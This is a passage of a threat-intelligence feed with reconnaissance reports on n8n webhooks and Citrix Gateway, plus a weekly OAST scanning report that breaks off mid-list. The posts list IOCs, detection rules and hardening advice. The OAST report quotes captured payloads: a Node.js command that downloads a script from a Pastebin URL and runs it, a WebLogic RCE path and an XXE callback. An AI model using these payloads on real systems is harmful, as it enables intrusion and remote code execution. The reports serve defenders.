</section>
<section id="indicators-of-compromise" class="level2">
<h2 class="anchored" data-anchor-id="indicators-of-compromise">Indicators of compromise</h2>
<p><strong>Network indicators:</strong></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Type</th>
<th>Values</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Primary ASN</td>
<td>AS211590 (Bucklog SARL)</td>
</tr>
<tr class="even">
<td>Subnet</td>
<td>185.177.72.0/24</td>
</tr>
<tr class="odd">
<td>Secondary ASN</td>
<td>AS16509 (Amazon AWS)</td>
</tr>
<tr class="even">
<td>Primary user agent</td>
<td><code>curl/8.7.1</code></td>
</tr>
<tr class="odd">
<td>Specialized tool</td>
<td><code>n8n-scanner/1.0</code></td>
</tr>
</tbody>
</table>
<p><strong>Targeted paths:</strong></p>
<ul>
<li><code>/webhook/upload</code>, <code>/webhook/api/file</code>, <code>/webhook/import</code></li>
<li><code>/webhook/admin/upload</code>, <code>/webhook/internal/import</code></li>
<li><code>/webhook/v1/*</code>, <code>/webhook/v2/*</code></li>
</ul>
</section>
<section id="defensive-recommendations" class="level2">
<h2 class="anchored" data-anchor-id="defensive-recommendations">Defensive recommendations</h2>
<p><strong>Immediate actions:</strong></p>
<ol type="1">
<li>Block AS211590 at the perimeter, specifically 185.177.72.0/24.</li>
<li>Audit webhook implementations for path traversal vulnerabilities.</li>
<li>Patch n8n installations against CVE-2026-21858.</li>
<li>Monitor for <code>n8n-scanner/1.0</code> user agent.</li>
</ol>
<p><strong>Detection rules:</strong></p>
<ul>
<li>Alert on POST requests to <code>/webhook/*</code> paths exceeding 50 requests/hour from a single source.</li>
<li>Flag curl user agents systematically probing file upload endpoints.</li>
<li>Monitor for <code>/proc/</code> filesystem references in HTTP request paths.</li>
</ul>
<p><strong>Webhook hardening:</strong></p>
<ul>
<li>Implement strict input validation on multipart/form-data uploads.</li>
<li>Require authentication on administrative webhook endpoints.</li>
<li>Rate-limit webhook endpoints per source IP.</li>
<li>Isolate webhook handlers with restricted egress.</li>
</ul>
</section>
<section id="whats-next" class="level2">
<h2 class="anchored" data-anchor-id="whats-next">What’s next</h2>
<p>The reconnaissance phase appears complete. Based on historical attack progression, we expect exploitation attempts within 7–14 days targeting any vulnerable endpoints identified during this sweep.</p>
<p>We’re continuing to track AS211590 for emerging campaigns. The Kubernetes infrastructure suggests this operator isn’t going anywhere—the cluster likely supports multiple concurrent scanning efforts beyond webhook targeting.</p>
<p>If you’re running n8n in production, now’s the time to audit those webhook configurations. The scanner already knows where to look.</p>


</section>

 ]]></description>
  <category>kubernetes</category>
  <category>webhooks</category>
  <category>n8n</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Assisted</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-02-03-vive-la-vulnerabilite-french-kubernetes-cluster-hunts-your-webhook-endpoints/</guid>
  <pubDate>Tue, 03 Feb 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-02-03-vive-la-vulnerabilite-french-kubernetes-cluster-hunts-your-webhook-endpoints/media/cover.png" medium="image" type="image/png" height="112" width="144"/>
</item>
<item>
  <title>Dual-Mode Citrix Gateway Reconnaissance: When Residential Proxies Meet Version Hunting</title>
  <dc:creator>hrbrmstr &amp; 🔮Orbie✨</dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-02-02-citrix-recon-residential-proxies/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<p>Between January 28 and February 2, 2026, the GreyNoise Global Observation Grid tracked a coordinated reconnaissance campaign against Citrix ADC Gateway and Netscaler Gateway infrastructure. The campaign ran two distinct modes: a massive distributed login panel discovery operation using residential proxy rotation, and a concentrated AWS-hosted version disclosure sprint.</p>
<p>The numbers tell the story: 111,834 sessions, 63,000+ unique source IPs, and a 79% targeting rate against Citrix Gateway honeypots specifically. That last number matters—it’s well above baseline scanning noise, indicating deliberate infrastructure mapping rather than opportunistic crawling.</p>
<section id="two-campaigns-one-target" class="level2">
<h2 class="anchored" data-anchor-id="two-campaigns-one-target">Two Campaigns, One Target</h2>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-02-citrix-recon-residential-proxies/media/plot.png" class="img-fluid"></p>
<table class="caption-top table">
<colgroup>
<col style="width: 11%">
<col style="width: 19%">
<col style="width: 23%">
<col style="width: 30%">
<col style="width: 15%">
</colgroup>
<thead>
<tr class="header">
<th>Mode</th>
<th>Sessions</th>
<th>Source IPs</th>
<th>Infrastructure</th>
<th>Target</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Login Panel Discovery</td>
<td>109,942</td>
<td>63,189</td>
<td>Azure + residential proxies</td>
<td><code>/logon/LogonPoint/index.html</code></td>
</tr>
<tr class="even">
<td>Version Disclosure</td>
<td>1,892</td>
<td>10</td>
<td>AWS us-west-1/us-west-2</td>
<td><code>/epa/scripts/win/nsepa_setup.exe</code></td>
</tr>
</tbody>
</table>
<p>Both campaigns fully activated just before February 1st and almost exclusively targeted Citrix infrastructure. They had complementary objectives of both finding login panels, and enumerating versions which suggests coordinated reconnaissance.</p>
</section>
<section id="the-residential-proxy-problem" class="level2">
<h2 class="anchored" data-anchor-id="the-residential-proxy-problem">The Residential Proxy Problem</h2>
<p>A single Microsoft Azure Canada IP generated 39,461 sessions (36% of all login panel traffic) using the Prometheus <code>blackbox-exporter</code> user agent. While user agents can be and are regularly spoofed, they are also both easy to spot and easy to block.</p>
<p>But the remaining traffic came from residential ISPs across Vietnam, Argentina, Mexico, Algeria, Iraq, and a dozen other countrie, with one session per IP. This is classic residential proxy rotation, and each IP uses a unique browser fingerprint and enables cycling of both addresses and user agent strings. These IPs bypass geographic blocking and reputation filtering because they’re legitimate consumer ISP addresses (and organizations are very reticent to shut out potential customers).</p>
</section>
<section id="the-6-hour-version-sprint" class="level2">
<h2 class="anchored" data-anchor-id="the-6-hour-version-sprint">The 6-Hour Version Sprint</h2>
<p>The Version Disclosure component is more concerning from a “what comes next” perspective. On February 1st, 10 AWS IPs fired off 1,892 requests targeting the Citrix Endpoint Analysis setup file in a concentrated 6-hour window:</p>
<ul>
<li>00:00 UTC: 192 sessions (start)</li>
<li>02:00 UTC: 362 sessions (peak)</li>
<li>05:00 UTC: 283 sessions (end)</li>
</ul>
<p>All 10 sources used an identical Chrome 50 user agent (circa 2016) and shared uniform HTTP fingerprint characteristics. The rapid onset and completion suggests a targeted scanning sprint that may have been triggered by discovery of vulnerable EPA configurations or intelligence about deployment windows.</p>
</section>
<section id="what-tcp-fingerprints-reveal" class="level2">
<h2 class="anchored" data-anchor-id="what-tcp-fingerprints-reveal">What TCP Fingerprints Reveal</h2>
<p>Without getting into raw signatures, the TCP-layer analysis exposes infrastructure separation:</p>
<p><strong>Azure Scanner</strong>: The dominant Azure source shows VPN/tunnel nested encapsulation with a reduced MSS (62 bytes below standard). The operator routes scanning traffic through additional network layer, demonstrating a focus on operational security, or at least operational awareness.</p>
<p><strong>Residential Proxies</strong>: The distributed residential traffic shows Windows TCP stack characteristics (maximum 16-bit window size) routing through Linux-based proxy infrastructure; Windows client =&gt; Linux proxies.</p>
<p><strong>AWS Version Scanners</strong>: The version disclosure sources show jumbo frame MSS values—45x larger than standard Ethernet allows. This configuration requires datacenter switching infrastructure with 9,000+ byte MTU support. It’s physically impossible on consumer networks, confirming exclusive datacenter hosting.</p>
<p>Despite different infrastructure types, all fingerprints share identical TCP option ordering, which is an indicator of common tooling or framework underneath the operational compartmentalization.</p>
</section>
<section id="pre-attack-indicators" class="level2">
<h2 class="anchored" data-anchor-id="pre-attack-indicators">Pre-Attack Indicators</h2>
<p>This reconnaissance activity likely represents infrastructure mapping before exploitation. The specific targeting of the EPA setup file path suggests interest in version-specific exploit development or vulnerability validation against known Citrix ADC weaknesses.</p>
<p><strong>Detection opportunities:</strong></p>
<ul>
<li>Monitor for <code>blackbox-exporter</code> user agent from non-authorized sources</li>
<li>Alert on external access to <code>/epa/scripts/win/nsepa_setup.exe</code></li>
<li>Flag rapid <code>/logon/LogonPoint/</code> enumeration patterns</li>
<li>Watch for <code>HEAD</code> requests to Citrix Gateway endpoints</li>
<li>Track outdated browser fingerprints (Chrome 50 from 2016)</li>
</ul>
<p><strong>Defensive recommendations:</strong></p>
<ul>
<li>Review external Citrix Gateway exposure; validate business need for internet-facing deployments</li>
<li>Implement authentication requirements for <code>/epa/scripts/</code> directory</li>
<li>Configure Citrix Gateways to suppress version disclosure in HTTP responses</li>
<li>Flag access anomalies from residential ISPs in unexpected regions</li>
</ul>
</section>
<section id="iocs" class="level2">
<h2 class="anchored" data-anchor-id="iocs">IOCs</h2>
<p><strong>Primary IPs (Version Disclosure - AWS):</strong></p>
<ul>
<li>44.251.121.190, 13.57.253.3, 50.18.232.85, 52.36.139.223, 54.201.20.56</li>
<li>54.153.0.164, 54.176.178.13, 18.237.26.188, 54.219.42.163, 18.246.164.162</li>
</ul>
<p><strong>Primary IP (Login Panel - Azure):</strong></p>
<ul>
<li>52.139.3.76</li>
</ul>
<p><strong>GreyNoise Tags:</strong></p>
<ul>
<li><a href="https://viz.greynoise.io/tags/citrix-adc-gateway-login-panel-crawler">Citrix ADC Gateway Login Panel Crawler</a></li>
<li><a href="https://viz.greynoise.io/tags/citrix-netscaler-gateway-version-disclosure-check">Citrix Netscaler Gateway Version Disclosure</a></li>
</ul>
<hr>
<p>Organizations running internet-facing Citrix infrastructure should treat this activity as a pre-attack signal. The 79% targeting rate isn’t mere “noise”. Someone is almost certainly building a target list.</p>


</section>

 ]]></description>
  <category>Citrix</category>
  <category>residential proxy</category>
  <category>reconnaiassance</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Assisted</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-02-02-citrix-recon-residential-proxies/</guid>
  <pubDate>Mon, 02 Feb 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-02-02-citrix-recon-residential-proxies/media/cover.png" medium="image" type="image/png" height="97" width="144"/>
</item>
<item>
  <title>GreyNoise Labs Weekly OAST (Well-known Out-of-band Interaction Domains) Report • Week Ending 2026-01-31</title>
  <dc:creator>🔮Orbie✨ </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-01-31-weekly-oast-report/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<section id="overview" class="level2">
<h2 class="anchored" data-anchor-id="overview">Overview</h2>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-31-weekly-oast-report/media/campaigns.png" class="img-fluid"></p>
<p>Between January 24 and January 31, 2026, the GreyNoise Global Observaton Grid cataloged 6,752 scanning sessions from 58 unique IP addresses embedding 5,531 distinct Out-of-band Application Security Testing (OAST) callback domains across 48 identified campaigns. The activity represents coordinated vulnerability reconnaissance targeting enterprise applications, IoT devices, and cloud infrastructure.</p>
<p><strong>Key Indicators:</strong></p>
<ul>
<li><strong>5,531 OAST domains</strong> decoded from 28 unique machine identifiers</li>
<li><strong>Anomalous TCP fingerprints</strong> (MSS 65495) observed in 11.8% of traffic</li>
<li><strong>Multiple high-severity CVE exploits</strong> including WebLogic RCE, Java deserialization, and React prototype pollution</li>
<li><strong>Sustained campaign activity</strong> spanning 3.6 weeks (earliest OAST timestamp: 2026-01-05)</li>
</ul>
</section>
<section id="infrastructure-analysis" class="level2">
<h2 class="anchored" data-anchor-id="infrastructure-analysis">Infrastructure Analysis</h2>
<section id="network-distribution" class="level3">
<h3 class="anchored" data-anchor-id="network-distribution">Network Distribution</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>ASN</th>
<th>Organization</th>
<th>Countries</th>
<th>Session Count</th>
<th>% of Total</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>AS14956</td>
<td>RouterHosting LLC</td>
<td>Germany</td>
<td>2,344</td>
<td>34.7%</td>
</tr>
<tr class="even">
<td>AS24806</td>
<td>INTERNET CZ, a.s.</td>
<td>Czech Republic</td>
<td>1,824</td>
<td>27.0%</td>
</tr>
<tr class="odd">
<td>AS31898</td>
<td>Oracle Corporation</td>
<td>Canada, South Korea</td>
<td>1,400</td>
<td>20.7%</td>
</tr>
<tr class="even">
<td>AS14061</td>
<td>DigitalOcean</td>
<td>Singapore</td>
<td>326</td>
<td>4.8%</td>
</tr>
<tr class="odd">
<td>AS210538</td>
<td>KEYUBU Internet</td>
<td>Turkey</td>
<td>656</td>
<td>9.7%</td>
</tr>
<tr class="even">
<td>Other</td>
<td>Various</td>
<td>22 countries</td>
<td>202</td>
<td>3.0%</td>
</tr>
</tbody>
</table>
</section>
<section id="ja4-fingerprint-analysis" class="level3">
<h3 class="anchored" data-anchor-id="ja4-fingerprint-analysis">JA4 Fingerprint Analysis</h3>
<p>Three primary fingerprint families identified:</p>
<section id="standard-linux-scanner-79.5-of-traffic" class="level4">
<h4 class="anchored" data-anchor-id="standard-linux-scanner-79.5-of-traffic">1. Standard Linux Scanner (79.5% of traffic)</h4>
<pre><code>JA4T: 64240_2-4-8-1-3_1460_7</code></pre>
<ul>
<li><strong>Window Size:</strong> 64240</li>
<li><strong>MSS:</strong> 1460 (standard)</li>
<li><strong>Sessions:</strong> 5,372</li>
<li><strong>Assessment:</strong> Consistent with modified Linux scanning tools or frameworks</li>
</ul>
</section>
<section id="anomalous-scanner-type-a-8.2-of-traffic" class="level4">
<h4 class="anchored" data-anchor-id="anomalous-scanner-type-a-8.2-of-traffic">2. Anomalous Scanner Type A (8.2% of traffic)</h4>
<pre><code>JA4T: 33280_2-4-8-1-3_65495_7</code></pre>
<ul>
<li><strong>Window Size:</strong> 33280</li>
<li><strong>MSS:</strong> 65495 (ANOMALOUS)</li>
<li><strong>Sessions:</strong> 556</li>
<li><strong>Assessment:</strong> Custom network stack - MSS value 65495 not found in legitimate software</li>
</ul>
</section>
<section id="anomalous-scanner-type-b-3.6-of-traffic" class="level4">
<h4 class="anchored" data-anchor-id="anomalous-scanner-type-b-3.6-of-traffic">3. Anomalous Scanner Type B (3.6% of traffic)</h4>
<pre><code>JA4T: 65495_2-4-8-1-3_65495_7</code></pre>
<ul>
<li><strong>Window Size:</strong> 65495</li>
<li><strong>MSS:</strong> 65495 (ANOMALOUS)</li>
<li><strong>Sessions:</strong> 245</li>
<li><strong>Assessment:</strong> Highly distinctive custom stack configuration</li>
</ul>
<p><strong>Significance:</strong> MSS value 65495 is a strong fingerprint for purpose-built scanning infrastructure. This value approaches the theoretical TCP MSS maximum (65535) and is never used by standard operating systems or network stacks.</p>
</section>
</section>
<section id="top-source-ips" class="level3">
<h3 class="anchored" data-anchor-id="top-source-ips">Top Source IPs</h3>
<table class="caption-top table">
<colgroup>
<col style="width: 20%">
<col style="width: 15%">
<col style="width: 8%">
<col style="width: 16%">
<col style="width: 20%">
<col style="width: 18%">
</colgroup>
<thead>
<tr class="header">
<th>IP Address</th>
<th>Country</th>
<th>ASN</th>
<th>Sessions</th>
<th>First Seen</th>
<th>Last Seen</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>172.86.66.237</td>
<td>Germany</td>
<td>AS14956</td>
<td>2,344</td>
<td>2026-01-27</td>
<td>2026-01-31</td>
</tr>
<tr class="even">
<td>194.182.90.104</td>
<td>Czech Republic</td>
<td>AS24806</td>
<td>1,824</td>
<td>2026-01-25</td>
<td>2026-01-31</td>
</tr>
<tr class="odd">
<td>40.233.66.153</td>
<td>Canada</td>
<td>AS31898</td>
<td>789</td>
<td>2026-01-27</td>
<td>2026-01-29</td>
</tr>
<tr class="even">
<td>168.107.59.85</td>
<td>South Korea</td>
<td>AS31898</td>
<td>611</td>
<td>2026-01-24</td>
<td>2026-01-30</td>
</tr>
<tr class="odd">
<td>31.57.77.235</td>
<td>Turkey</td>
<td>AS210538</td>
<td>575</td>
<td>2026-01-28</td>
<td>2026-01-30</td>
</tr>
</tbody>
</table>
</section>
</section>
<section id="oast-campaign-analysis" class="level2">
<h2 class="anchored" data-anchor-id="oast-campaign-analysis">OAST Campaign Analysis</h2>
<p>Decoded 5,531 OAST domains revealing 48 distinct campaigns across 28 unique machine IDs.</p>
<section id="top-5-campaigns-by-volume" class="level3">
<h3 class="anchored" data-anchor-id="top-5-campaigns-by-volume">Top 5 Campaigns by Volume</h3>
<section id="campaign-dftn9" class="level4">
<h4 class="anchored" data-anchor-id="campaign-dftn9">Campaign: dftn9</h4>
<ul>
<li><strong>OAST Domains:</strong> 2,044 (36.9%)</li>
<li><strong>Machine ID:</strong> <code>af:ed:d2</code></li>
<li><strong>PIDs:</strong> 45287, 6518</li>
<li><strong>Duration:</strong> January 27-29, 2026 (1.7 days)</li>
<li><strong>K-Sort Values:</strong> d5sf0j, d5tidb</li>
<li><strong>Assessment:</strong> Largest campaign by domain count - intensive burst scanning</li>
</ul>
</section>
<section id="campaign-vn6u3" class="level4">
<h4 class="anchored" data-anchor-id="campaign-vn6u3">Campaign: vn6u3</h4>
<ul>
<li><strong>OAST Domains:</strong> 892 (16.1%)</li>
<li><strong>Machine ID:</strong> <code>f7:37:86</code></li>
<li><strong>PIDs:</strong> 54381, 42767, 35027, 42599</li>
<li><strong>Duration:</strong> January 27-30, 2026 (3.3 days)</li>
<li><strong>K-Sort Values:</strong> d5seuo, d5t1qc, d5ug5j, d5ul4a</li>
<li><strong>Assessment:</strong> Sustained scanning with multiple process restarts</li>
</ul>
</section>
<section id="campaign-gffll" class="level4">
<h4 class="anchored" data-anchor-id="campaign-gffll">Campaign: gffll</h4>
<ul>
<li><strong>OAST Domains:</strong> 465 (8.4%)</li>
<li><strong>Machine ID:</strong> <code>0f:7d:6a</code></li>
<li><strong>PIDs:</strong> 34674, 57772</li>
<li><strong>Duration:</strong> January 27-29, 2026 (1.5 days)</li>
<li><strong>Assessment:</strong> Coordinated with dftn9 campaign - similar temporal window</li>
</ul>
</section>
<section id="campaign-49ndh" class="level4">
<h4 class="anchored" data-anchor-id="campaign-49ndh">Campaign: 49ndh</h4>
<ul>
<li><strong>OAST Domains:</strong> 293 (5.3%)</li>
<li><strong>Machine ID:</strong> <code>89:bb:62</code></li>
<li><strong>PIDs:</strong> 53182, 55486</li>
<li><strong>Duration:</strong> January 25-30, 2026 (5.0 days)</li>
<li><strong>Assessment:</strong> Longest-running campaign with steady activity</li>
</ul>
</section>
<section id="campaign-s9ndh" class="level4">
<h4 class="anchored" data-anchor-id="campaign-s9ndh">Campaign: s9ndh</h4>
<ul>
<li><strong>OAST Domains:</strong> 8 (0.1%)</li>
<li><strong>Machine ID:</strong> <code>89:bb:62</code></li>
<li><strong>First Seen:</strong> January 24, 2026</li>
<li><strong>Assessment:</strong> Early reconnaissance phase from same machine as 49ndh campaign</li>
</ul>
<p><strong>OAST Infrastructure:</strong> Domains primarily used <code>.oast.fun</code>, <code>.oast.live</code>, <code>.oast.me</code>, <code>.oast.pro</code>, and <code>.oast.site</code> TLDs - all associated with the Interactsh OAST service.</p>
</section>
</section>
</section>
<section id="exploit-analysis" class="level2">
<h2 class="anchored" data-anchor-id="exploit-analysis">Exploit Analysis</h2>
<section id="cves-actively-exploited" class="level3">
<h3 class="anchored" data-anchor-id="cves-actively-exploited">CVEs Actively Exploited</h3>
<section id="cve-2020-14882-cve-2020-14883-oracle-weblogic-rce" class="level4">
<h4 class="anchored" data-anchor-id="cve-2020-14882-cve-2020-14883-oracle-weblogic-rce">CVE-2020-14882 / CVE-2020-14883 (Oracle WebLogic RCE)</h4>
<ul>
<li><strong>Occurrences:</strong> 23+ payloads</li>
<li><strong>Path:</strong> <code>/_nfpb=true&amp;_pageLabel=&amp;handle=com.tangosol.coherence.mvel2.sh.ShellSession</code></li>
<li><strong>Payload Type:</strong> Java deserialization leading to RCE</li>
<li><strong>Severity:</strong> Critical (CVSS 9.8)</li>
</ul>
</section>
<section id="react-prototype-pollution-with-malware-loader" class="level4">
<h4 class="anchored" data-anchor-id="react-prototype-pollution-with-malware-loader">React Prototype Pollution with Malware Loader</h4>
<ul>
<li><strong>Occurrences:</strong> 17+ variants</li>
<li><strong>Malware Staging:</strong> <code>https://pastebin.com/raw/9GEqrAq5</code></li>
<li><strong>Execution Methods:</strong> <code>setsid</code>, <code>nohup</code>, <code>dos2unix</code> - designed for persistence</li>
<li><strong>Payload Pattern:</strong></li>
</ul>
<div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb4-1"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">process</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">mainModule</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">require</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'child_process'</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">execSync</span>(</span>
<span id="cb4-2">  <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'cd /tmp;wget -O run.sh https://pastebin.com/raw/9GEqrAq5;</span></span>
<span id="cb4-3">   chmod <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span>x run<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">sh</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span>setsid sh run<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">sh</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">/dev/null</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">/dev/null</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&amp;</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'</span></span>
<span id="cb4-4">)</span></code></pre></div>
</section>
<section id="java-deserialization-attacks" class="level4">
<h4 class="anchored" data-anchor-id="java-deserialization-attacks">Java Deserialization Attacks</h4>
<ul>
<li><strong>Frameworks Targeted:</strong>
<ul>
<li>Apache Commons (PriorityQueue deserialization)</li>
<li>JNDI injection via JdbcRowSetImpl</li>
<li>Apache Spark RCE (CVE-2018-11770)</li>
</ul></li>
<li><strong>Occurrences:</strong> Multiple variants across 6+ payload families</li>
</ul>
</section>
<section id="xml-external-entity-xxe-injection" class="level4">
<h4 class="anchored" data-anchor-id="xml-external-entity-xxe-injection">XML External Entity (XXE) Injection</h4>
<ul>
<li><strong>Occurrences:</strong> 8+ payloads</li>
<li><strong>Technique:</strong> <code>&lt;!ENTITY % xxe SYSTEM "http://[oast-domain]"&gt;</code></li>
<li><strong>Target:</strong> XML parsers in enterprise applications</li>
</ul>
</section>
<section id="iotnetwork-device-command-injection" class="level4">
<h4 class="anchored" data-anchor-id="iotnetwork-device-command-injection">IoT/Network Device Command Injection</h4>
<ul>
<li><strong>Targets:</strong> TP-Link, D-Link, GPON ONT devices</li>
<li><strong>Commands:</strong> <code>wget</code>, <code>curl</code>, <code>nslookup</code> with OAST callbacks</li>
<li><strong>Assessment:</strong> Opportunistic targeting of known IoT vulnerabilities</li>
</ul>
</section>
</section>
<section id="targeted-applicationsservices" class="level3">
<h3 class="anchored" data-anchor-id="targeted-applicationsservices">Targeted Applications/Services</h3>
<ul>
<li>Oracle WebLogic Server</li>
<li>WordPress (multiple plugins)</li>
<li>Grafana</li>
<li>pfBlockerNg</li>
<li>Apache Spark</li>
<li>Seeyon OA</li>
<li>Various GPON/ONT firmware</li>
<li>ColdFusion (Adobe)</li>
</ul>
</section>
</section>
<section id="temporal-analysis" class="level2">
<h2 class="anchored" data-anchor-id="temporal-analysis">Temporal Analysis</h2>
<section id="session-volume-by-day" class="level3">
<h3 class="anchored" data-anchor-id="session-volume-by-day">Session Volume by Day</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Date</th>
<th>Sessions</th>
<th>Unique IPs</th>
<th>Peak Hour</th>
<th>Burst Detected</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>2026-01-24</td>
<td>73</td>
<td>8</td>
<td>12:00 UTC</td>
<td>No</td>
</tr>
<tr class="even">
<td>2026-01-25</td>
<td>361</td>
<td>9</td>
<td>19:00 UTC</td>
<td>Yes (282 sessions)</td>
</tr>
<tr class="odd">
<td>2026-01-26</td>
<td>459</td>
<td>18</td>
<td>04:00 UTC</td>
<td>Yes (273 sessions)</td>
</tr>
<tr class="even">
<td>2026-01-27</td>
<td>1,629</td>
<td>19</td>
<td>17:00 UTC</td>
<td>Yes (492 sessions)</td>
</tr>
<tr class="odd">
<td>2026-01-28</td>
<td>1,240</td>
<td>11</td>
<td>05:00 UTC</td>
<td>Yes (372 sessions)</td>
</tr>
<tr class="even">
<td>2026-01-29</td>
<td>840</td>
<td>7</td>
<td>13:00 UTC</td>
<td>Yes (210 sessions)</td>
</tr>
<tr class="odd">
<td>2026-01-30</td>
<td>1,552</td>
<td>21</td>
<td>19:00 UTC</td>
<td>Yes (406 sessions)</td>
</tr>
<tr class="even">
<td>2026-01-31</td>
<td>598</td>
<td>5</td>
<td>00:00 UTC</td>
<td>Yes (377 sessions)</td>
</tr>
</tbody>
</table>
</section>
<section id="burst-pattern-analysis" class="level3">
<h3 class="anchored" data-anchor-id="burst-pattern-analysis">Burst Pattern Analysis</h3>
<p><strong>39 hourly bursts detected</strong> (&gt;100% increase over previous hour):</p>
<ul>
<li>Peak burst: 2026-01-30 19:00 UTC - 406 sessions (from 2 previous hour)</li>
<li>Consistent evening UTC bursts (17:00-21:00)</li>
<li>Suggests automated scanning orchestration with scheduled execution</li>
</ul>
</section>
</section>
<section id="historical-context-campaign-lifecycle" class="level2">
<h2 class="anchored" data-anchor-id="historical-context-campaign-lifecycle">Historical Context &amp; Campaign Lifecycle</h2>
<section id="pre-dating-evidence" class="level3">
<h3 class="anchored" data-anchor-id="pre-dating-evidence">Pre-Dating Evidence</h3>
<p><strong>OAST timestamp analysis reveals activity pre-dating sensor observation window:</strong></p>
<ul>
<li><strong>Earliest OAST domain:</strong> January 5, 2026 (Campaign: 972vm)</li>
<li><strong>Earliest sensor session:</strong> January 24, 2026</li>
<li><strong>Gap:</strong> 19 days of prior activity</li>
</ul>
<p><strong>Assessment:</strong> The scanning infrastructure was operational for nearly 3 weeks before hitting GreyNoise sensors. This suggests:</p>
<ol type="1">
<li><strong>Established infrastructure</strong> - not a new/test campaign</li>
<li><strong>Broader target scope</strong> - GreyNoise sensors represent subset of total targets</li>
<li><strong>Ongoing operations</strong> - campaigns likely continuing beyond observation window</li>
</ol>
</section>
<section id="campaign-coordination-indicators" class="level3">
<h3 class="anchored" data-anchor-id="campaign-coordination-indicators">Campaign Coordination Indicators</h3>
<p><strong>Evidence of coordinated operations:</strong> 1. <strong>Shared OAST infrastructure</strong> - all campaigns use same Interactsh service 2. <strong>Overlapping temporal windows</strong> - major campaigns (dftn9, vn6u3, gffll) active Jan 27-29 3. <strong>Common exploit payloads</strong> - same CVEs targeted across multiple source IPs 4. <strong>Fingerprint diversity</strong> - deliberate use of multiple TCP stack configurations</p>
</section>
</section>
<section id="attribution-threat-actor-assessment" class="level2">
<h2 class="anchored" data-anchor-id="attribution-threat-actor-assessment">Attribution &amp; Threat Actor Assessment</h2>
<section id="confidence-medium" class="level3">
<h3 class="anchored" data-anchor-id="confidence-medium">Confidence: Medium</h3>
<p><strong>Indicators:</strong></p>
<ul>
<li><strong>Professional OAST usage</strong> - 48 campaigns with unique machine IDs suggests organized tooling</li>
<li><strong>Exploit diversity</strong> - targets enterprise (WebLogic, Spark) and IoT infrastructure</li>
<li><strong>Custom fingerprints</strong> - MSS 65495 indicates purpose-built scanning tools</li>
<li><strong>No attribution artifacts</strong> - no clear C2 domains, staging servers use Pastebin</li>
</ul>
</section>
<section id="likely-actor-profile" class="level3">
<h3 class="anchored" data-anchor-id="likely-actor-profile">Likely Actor Profile</h3>
<p><strong>Opportunistic vulnerability research collective or bug bounty operation:</strong></p>
<ul>
<li><strong>Not APT/nation-state</strong> - too noisy, lacks operational security</li>
<li><strong>Possibly legitimate</strong> - OAST usage consistent with security research</li>
<li><strong>Commercial tooling</strong> - fingerprint diversity suggests framework usage (Nuclei, custom scanners)</li>
</ul>
<p><strong>Alternative assessment:</strong> Reconnaissance for follow-on exploitation by multiple threat actors sharing infrastructure.</p>
</section>
</section>
<section id="recommendations" class="level2">
<h2 class="anchored" data-anchor-id="recommendations">Recommendations</h2>
<section id="immediate-actions" class="level3">
<h3 class="anchored" data-anchor-id="immediate-actions">Immediate Actions</h3>
<ol type="1">
<li><strong>Block source IPs</strong> - All 58 IPs confirmed as scanning infrastructure</li>
